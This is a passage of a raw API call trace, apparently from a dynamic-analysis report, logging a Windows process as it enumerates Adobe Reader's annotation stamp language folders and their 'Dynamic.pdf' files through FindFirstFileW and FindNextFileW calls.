hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.123] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.123] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.124] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0048.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.125] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.125] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.125] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.125] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.125] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0048.125] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.126] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.126] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xff3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.126] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.126] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.126] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0048.127] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.127] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.127] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.128] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.128] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.128] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0048.128] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.130] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.130] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x907a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.130] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.131] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0048.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.132] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.132] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.132] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.132] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.132] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0048.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbc10 [0048.264] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.264] FindNextFileW (in: hFindFile=0x7cbc10, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.264] FindClose (in: hFindFile=0x7cbc10 | out: hFindFile=0x7cbc10) returned 1 [0048.265] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.265] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0048.265] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.426] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.426] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.436] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.444] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.444] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0048.446] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.452] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.454] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.462] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.464] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.464] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0048.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.465] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.465] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.465] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.466] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.466] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0048.466] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0048.466] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.466] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.467] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0048.467] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0048.467] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0048.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 